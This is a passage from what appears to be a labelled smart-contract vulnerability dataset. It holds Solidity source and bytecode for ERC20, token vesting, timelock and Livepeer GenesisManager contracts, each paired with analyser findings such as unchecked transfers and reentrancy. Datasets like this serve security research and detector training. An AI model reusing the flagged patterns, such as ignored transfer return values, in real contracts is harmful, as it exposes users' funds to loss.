c2ccc1f0d1245d75270b41c60f93e11ac0caf2b184e0bd7a38b33abd27f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,903 |
0xd78b6bd09cd28a83cfb21afa0da95c685a6bb0b1
|
pragma solidity 0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a given release time
*/
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract ILivepeerToken is ERC20, Ownable {
function mint(address _to, uint256 _amount) public returns (bool);
function burn(uint256 _amount) public;
}
contract GenesisManager is Ownable {
using SafeMath for uint256;
// LivepeerToken contract
ILivepeerToken public token;
// Address of the token distribution contract
address public tokenDistribution;
// Address of the Livepeer bank multisig
address public bankMultisig;
// Address of the Minter contract in the Livepeer protocol
address public minter;
// Initial token supply issued
uint256 public initialSupply;
// Crowd's portion of the initial token supply
uint256 public crowdSupply;
// Company's portion of the initial token supply
uint256 public companySupply;
// Team's portion of the initial token supply
uint256 public teamSupply;
// Investors' portion of the initial token supply
uint256 public investorsSupply;
// Community's portion of the initial token supply
uint256 public communitySupply;
// Token amount in grants for the team
uint256 public teamGrantsAmount;
// Token amount in grants for investors
uint256 public investorsGrantsAmount;
// Token amount in grants for the community
uint256 public communityGrantsAmount;
// Timestamp at which vesting grants begin their vesting period
// and timelock grants release locked tokens
uint256 public grantsStartTimestamp;
// Map receiver addresses => contracts holding receivers' vesting tokens
mapping (address => address) public vestingHolders;
// Map receiver addresses => contracts holding receivers' time locked tokens
mapping (address => address) public timeLockedHolders;
enum Stages {
// Stage for setting the allocations of the initial token supply
GenesisAllocation,
// Stage for the creating token grants and the token distribution
GenesisStart,
// Stage for the end of genesis when ownership of the LivepeerToken contract
// is transferred to the protocol Minter
GenesisEnd
}
// Current stage of genesis
Stages public stage;
// Check if genesis is at a particular stage
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/**
* @dev GenesisManager constructor
* @param _token Address of the Livepeer token contract
* @param _tokenDistribution Address of the token distribution contract
* @param _bankMultisig Address of the company bank multisig
* @param _minter Address of the protocol Minter
*/
function GenesisManager(
address _token,
address _tokenDistribution,
address _bankMultisig,
address _minter,
uint256 _grantsStartTimestamp
)
public
{
token = ILivepeerToken(_token);
tokenDistribution = _tokenDistribution;
bankMultisig = _bankMultisig;
minter = _minter;
grantsStartTimestamp = _grantsStartTimestamp;
stage = Stages.GenesisAllocation;
}
/**
* @dev Set allocations for the initial token supply at genesis
* @param _initialSupply Initial token supply at genesis
* @param _crowdSupply Tokens allocated for the crowd at genesis
* @param _companySupply Tokens allocated for the company (for future distribution) at genesis
* @param _teamSupply Tokens allocated for the team at genesis
* @param _investorsSupply Tokens allocated for investors at genesis
* @param _communitySupply Tokens allocated for the community at genesis
*/
function setAllocations(
uint256 _initialSupply,
uint256 _crowdSupply,
uint256 _companySupply,
uint256 _teamSupply,
uint256 _investorsSupply,
uint256 _communitySupply
)
external
onlyOwner
atStage(Stages.GenesisAllocation)
{
require(_crowdSupply.add(_companySupply).add(_teamSupply).add(_investorsSupply).add(_communitySupply) == _initialSupply);
initialSupply = _initialSupply;
crowdSupply = _crowdSupply;
companySupply = _companySupply;
teamSupply = _teamSupply;
investorsSupply = _investorsSupply;
communitySupply = _communitySupply;
}
/**
* @dev Start genesis
*/
function start() external onlyOwner atStage(Stages.GenesisAllocation) {
// Mint the initial supply
token.mint(this, initialSupply);
stage = Stages.GenesisStart;
}
/**
* @dev Add a team grant for tokens with a vesting schedule
* @param _receiver Grant receiver
* @param _amount Amount of tokens included in the grant
* @param _timeToCliff Seconds until the vesting cliff
* @param _vestingDuration Seconds starting from the vesting cliff until the end of the vesting schedule
*/
function addTeamGrant(
address _receiver,
uint256 _amount,
uint256 _timeToCliff,
uint256 _vestingDuration
)
external
onlyOwner
atStage(Stages.GenesisStart)
{
uint256 updatedGrantsAmount = teamGrantsAmount.add(_amount);
// Amount of tokens included in team grants cannot exceed the team supply during genesis
require(updatedGrantsAmount <= teamSupply);
teamGrantsAmount = updatedGrantsAmount;
addVestingGrant(_receiver, _amount, _timeToCliff, _vestingDuration);
}
/**
* @dev Add an investor grant for tokens with a vesting schedule
* @param _receiver Grant receiver
* @param _amount Amount of tokens included in the grant
* @param _timeToCliff Seconds until the vesting cliff
* @param _vestingDuration Seconds starting from the vesting cliff until the end of the vesting schedule
*/
function addInvestorGrant(
address _receiver,
uint256 _amount,
uint256 _timeToCliff,
uint256 _vestingDuration
)
external
onlyOwner
atStage(Stages.GenesisStart)
{
uint256 updatedGrantsAmount = investorsGrantsAmount.add(_amount);
// Amount of tokens included in investor grants cannot exceed the investor supply during genesis
require(updatedGrantsAmount <= investorsSupply);
investorsGrantsAmount = updatedGrantsAmount;
addVestingGrant(_receiver, _amount, _timeToCliff, _vestingDuration);
}
/**
* @dev Add a grant for tokens with a vesting schedule. An internal helper function used by addTeamGrant and addInvestorGrant
* @param _receiver Grant receiver
* @param _amount Amount of tokens included in the grant
* @param _timeToCliff Seconds until the vesting cliff
* @param _vestingDuration Seconds starting from the vesting cliff until the end of the vesting schedule
*/
function addVestingGrant(
address _receiver,
uint256 _amount,
uint256 _timeToCliff,
uint256 _vestingDuration
)
internal
{
// Receiver must not have already received a grant with a vesting schedule
require(vestingHolders[_receiver] == address(0));
// Create a vesting holder contract to act as the holder of the grant's tokens
// Note: the vesting grant is revokable
TokenVesting holder = new TokenVesting(_receiver, grantsStartTimestamp, _timeToCliff, _vestingDuration, true);
vestingHolders[_receiver] = holder;
// Transfer ownership of the vesting holder to the bank multisig
// giving the bank multisig the ability to revoke the grant
holder.transferOwnership(bankMultisig);
token.transfer(holder, _amount);
}
/**
* @dev Add a community grant for tokens that are locked until a predetermined time in the future
* @param _receiver Grant receiver address
* @param _amount Amount of tokens included in the grant
*/
function addCommunityGrant(
address _receiver,
uint256 _amount
)
external
onlyOwner
atStage(Stages.GenesisStart)
{
uint256 updatedGrantsAmount = communityGrantsAmount.add(_amount);
// Amount of tokens included in investor grants cannot exceed the community supply during genesis
require(updatedGrantsAmount <= communitySupply);
communityGrantsAmount = updatedGrantsAmount;
// Receiver must not have already received a grant with timelocked tokens
require(timeLockedHolders[_receiver] == address(0));
// Create a timelocked holder contract to act as the holder of the grant's tokens
TokenTimelock holder = new TokenTimelock(token, _receiver, grantsStartTimestamp);
timeLockedHolders[_receiver] = holder;
token.transfer(holder, _amount);
}
/**
* @dev End genesis
*/
function end() external onlyOwner atStage(Stages.GenesisStart) {
// Transfer the crowd supply to the token distribution contract
token.transfer(tokenDistribution, crowdSupply);
// Transfer company supply to the bank multisig
token.transfer(bankMultisig, companySupply);
// Transfer ownership of the LivepeerToken contract to the protocol Minter
token.transferOwnership(minter);
stage = Stages.GenesisEnd;
}
}
|
0x60606040526004361061012f5763ffffffff60e060020a60003504166301a0dee18114610134578063075461721461015957806308a6077c1461018857806310780cce1461019b5780631d121dfe146101ae5780632cfac6ec146101c1578063378dc3dc146101d457806347b60ec0146101e757806353a5e2d9146101fa57806354ee4d4b1461020d5780636de84a4f1461023157806382d4685c1461024457806383eb7257146102695780638da5cb5b1461027c5780639ea0b8f01461028f578063a182da60146102b7578063be9a6555146102ca578063c040e6b8146102dd578063d4492c5714610314578063e0a157b61461033c578063efbe1c1c1461035b578063f2fde38b1461036e578063f6ed087a1461038d578063fc0c546a146103ac578063fcceea26146103bf575b600080fd5b341561013f57600080fd5b6101476103d2565b60405190815260200160405180910390f35b341561016457600080fd5b61016c6103d8565b604051600160a060020a03909116815260200160405180910390f35b341561019357600080fd5b61016c6103e7565b34156101a657600080fd5b6101476103f6565b34156101b957600080fd5b6101476103fc565b34156101cc57600080fd5b610147610402565b34156101df57600080fd5b610147610408565b34156101f257600080fd5b61014761040e565b341561020557600080fd5b610147610414565b341561021857600080fd5b61022f600160a060020a036004351660243561041a565b005b341561023c57600080fd5b61016c6105b1565b341561024f57600080fd5b61022f60043560243560443560643560843560a4356105c0565b341561027457600080fd5b610147610646565b341561028757600080fd5b61016c61064c565b341561029a57600080fd5b61022f600160a060020a036004351660243560443560643561065b565b34156102c257600080fd5b6101476106d3565b34156102d557600080fd5b61022f6106d9565b34156102e857600080fd5b6102f06107aa565b6040518082600281111561030057fe5b60ff16815260200191505060405180910390f35b341561031f57600080fd5b61022f600160a060020a03600435166024356044356064356107b3565b341561034757600080fd5b61016c600160a060020a0360043516610823565b341561036657600080fd5b61022f61083e565b341561037957600080fd5b61022f600160a060020a03600435166109fd565b341561039857600080fd5b61016c600160a060020a0360043516610a98565b34156103b757600080fd5b61016c610ab3565b34156103ca57600080fd5b610147610ac2565b60095481565b600454600160a060020a031681565b600254600160a060020a031681565b600e5481565b600d5481565b60085481565b60055481565b600c5481565b600b5481565b60008054819033600160a060020a0390811691161461043857600080fd5b60018060115460ff16600281111561044c57fe5b1461045657600080fd5b600d54610469908563ffffffff610ac816565b600a5490935083111561047b57600080fd5b600d839055600160a060020a0385811660009081526010602052604090205416156104a557600080fd5b600154600e54600160a060020a039091169086906104c1610c56565b600160a060020a0393841681529190921660208201526040808201929092526060019051809103906000f08015156104f857600080fd5b600160a060020a03868116600090815260106020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916858516179055600154939550929091169163a9059cbb918591889190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561058f57600080fd5b6102c65a03f115156105a057600080fd5b505050604051805150505050505050565b600354600160a060020a031681565b60005433600160a060020a039081169116146105db57600080fd5b60008060115460ff1660028111156105ef57fe5b146105f957600080fd5b8661061e83610612868189818d8d63ffffffff610ac816565b9063ffffffff610ac816565b1461062857600080fd5b50600595909555600693909355600791909155600855600955600a55565b60075481565b600054600160a060020a031681565b6000805433600160a060020a0390811691161461067757600080fd5b60018060115460ff16600281111561068b57fe5b1461069557600080fd5b600b546106a8908663ffffffff610ac816565b6008549092508211156106ba57600080fd5b600b8290556106cb86868686610ade565b505050505050565b60065481565b60005433600160a060020a039081169116146106f457600080fd5b60008060115460ff16600281111561070857fe5b1461071257600080fd5b600154600554600160a060020a03909116906340c10f1990309060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561077857600080fd5b6102c65a03f1151561078957600080fd5b50505060405180515050601180546001919060ff191682805b021790555050565b60115460ff1681565b6000805433600160a060020a039081169116146107cf57600080fd5b60018060115460ff1660028111156107e357fe5b146107ed57600080fd5b600c54610800908663ffffffff610ac816565b60095490925082111561081257600080fd5b600c8290556106cb86868686610ade565b600f60205260009081526040902054600160a060020a031681565b60005433600160a060020a0390811691161461085957600080fd5b60018060115460ff16600281111561086d57fe5b1461087757600080fd5b600154600254600654600160a060020a039283169263a9059cbb92169060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108e057600080fd5b6102c65a03f115156108f157600080fd5b50505060405180515050600154600354600754600160a060020a039283169263a9059cbb92169060006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561096457600080fd5b6102c65a03f1151561097557600080fd5b50505060405180515050600154600454600160a060020a039182169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156109d657600080fd5b6102c65a03f115156109e757600080fd5b5050601180546002925060ff19166001836107a2565b60005433600160a060020a03908116911614610a1857600080fd5b600160a060020a0381161515610a2d57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b601060205260009081526040902054600160a060020a031681565b600154600160a060020a031681565b600a5481565b600082820183811015610ad757fe5b9392505050565b600160a060020a038481166000908152600f602052604081205490911615610b0557600080fd5b84600e5484846001610b15610c66565b600160a060020a03909516855260208501939093526040808501929092526060840152901515608083015260a09091019051809103906000f0801515610b5a57600080fd5b600160a060020a038681166000908152600f602052604090819020805473ffffffffffffffffffffffffffffffffffffffff19168484169081179091556003549394509263f2fde38b9216905160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b1515610be257600080fd5b6102c65a03f11515610bf357600080fd5b5050600154600160a060020a0316905063a9059cbb828660006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561058f57600080fd5b6040516102db80610c7783390190565b6040516108c880610f528339019056006060604052341561000f57600080fd5b6040516060806102db83398101604052808051919060200180519190602001805191505042811161003f57600080fd5b60008054600160a060020a03948516600160a060020a031991821617909155600180549390941692169190911790915560025561025a806100816000396000f3006060604052600436106100485763ffffffff60e060020a60003504166338af3eed811461004d57806386d1a69f1461007c578063b91d400114610091578063fc0c546a146100b6575b600080fd5b341561005857600080fd5b6100606100c9565b604051600160a060020a03909116815260200160405180910390f35b341561008757600080fd5b61008f6100d8565b005b341561009c57600080fd5b6100a4610194565b60405190815260200160405180910390f35b34156100c157600080fd5b61006061019a565b600154600160a060020a031681565b6002546000904210156100ea57600080fd5b60008054600160a060020a0316906370a082319030906040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561014557600080fd5b6102c65a03f1151561015657600080fd5b50505060405180519150506000811161016e57600080fd5b60015460005461019191600160a060020a0391821691168363ffffffff6101a916565b50565b60025481565b600054600160a060020a031681565b82600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561020657600080fd5b6102c65a03f1151561021757600080fd5b50505060405180519050151561022957fe5b5050505600a165627a7a72305820eeace2909ad96851c2cbf01b9bbc7140e82c263f6ff3790a8a0e12d0640aff7700296060604052341561000f57600080fd5b60405160a0806108c8833981016040528080519190602001805191906020018051919060200180519190602001805160008054600160a060020a03191633600160a060020a039081169190911790915590925086161515905061007157600080fd5b8183111561007e57600080fd5b60018054600160a060020a031916600160a060020a0387161790556005805460ff191682151517905560048290556100c384846401000000006100d281026106c41704565b600255505050600355506100e8565b6000828201838110156100e157fe5b9392505050565b6107d1806100f76000396000f3006060604052600436106100ab5763ffffffff60e060020a6000350416630fb5a6b481146100b057806313d033c0146100d55780631726cbc8146100e85780631916558714610107578063384711cc1461012857806338af3eed1461014757806374a8f10314610176578063872a7810146101955780638da5cb5b146101bc5780639852595c146101cf578063be9a6555146101ee578063f2fde38b14610201578063fa01dc0614610220575b600080fd5b34156100bb57600080fd5b6100c361023f565b60405190815260200160405180910390f35b34156100e057600080fd5b6100c3610245565b34156100f357600080fd5b6100c3600160a060020a036004351661024b565b341561011257600080fd5b610126600160a060020a0360043516610283565b005b341561013357600080fd5b6100c3600160a060020a036004351661032f565b341561015257600080fd5b61015a610470565b604051600160a060020a03909116815260200160405180910390f35b341561018157600080fd5b610126600160a060020a036004351661047f565b34156101a057600080fd5b6101a86105d2565b604051901515815260200160405180910390f35b34156101c757600080fd5b61015a6105db565b34156101da57600080fd5b6100c3600160a060020a03600435166105ea565b34156101f957600080fd5b6100c36105fc565b341561020c57600080fd5b610126600160a060020a0360043516610602565b341561022b57600080fd5b6101a8600160a060020a036004351661069d565b60045481565b60025481565b600160a060020a03811660009081526006602052604081205461027d906102718461032f565b9063ffffffff6106b216565b92915050565b600061028e8261024b565b90506000811161029d57600080fd5b600160a060020a0382166000908152600660205260409020546102c6908263ffffffff6106c416565b600160a060020a038084166000818152600660205260409020929092556001546102f89291168363ffffffff6106de16565b7ffb81f9b30d73d830c3544b34d827c08142579ee75710b490bab0b3995468c5658160405190815260200160405180910390a15050565b600080600083600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561038b57600080fd5b6102c65a03f1151561039c57600080fd5b5050506040518051600160a060020a0386166000908152600660205260409020549093506103d29150839063ffffffff6106c416565b90506002544210156103e75760009250610469565b6004546003546103fc9163ffffffff6106c416565b421015806104225750600160a060020a03841660009081526007602052604090205460ff165b1561042f57809250610469565b61046660045461045a61044d600354426106b290919063ffffffff16565b849063ffffffff61076316565b9063ffffffff61078e16565b92505b5050919050565b600154600160a060020a031681565b600080548190819033600160a060020a0390811691161461049f57600080fd5b60055460ff1615156104b057600080fd5b600160a060020a03841660009081526007602052604090205460ff16156104d657600080fd5b83600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561052d57600080fd5b6102c65a03f1151561053e57600080fd5b5050506040518051905092506105538461024b565b9150610565838363ffffffff6106b216565b600160a060020a038086166000818152600760205260408120805460ff19166001179055549293506105a0929091168363ffffffff6106de16565b7f44825a4b2df8acb19ce4e1afba9aa850c8b65cdb7942e2078f27d0b0960efee660405160405180910390a150505050565b60055460ff1681565b600054600160a060020a031681565b60066020526000908152604090205481565b60035481565b60005433600160a060020a0390811691161461061d57600080fd5b600160a060020a038116151561063257600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60076020526000908152604090205460ff1681565b6000828211156106be57fe5b50900390565b6000828201838110156106d357fe5b8091505b5092915050565b82600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561073b57600080fd5b6102c65a03f1151561074c57600080fd5b50505060405180519050151561075e57fe5b505050565b60008083151561077657600091506106d7565b5082820282848281151561078657fe5b04146106d357fe5b600080828481151561079c57fe5b049493505050505600a165627a7a723058205328e35402c75898a0519a3095fac536dd3272577ad28495e00f16bb33ed6b360029a165627a7a72305820adb706cf50272fd73ab726a2872a727700b25740c5394cdd20e6d18436ad29790029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,904 |
0xe43286553ad160a1551930230572b8ed4a9b9688
|
pragma solidity 0.8.0;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
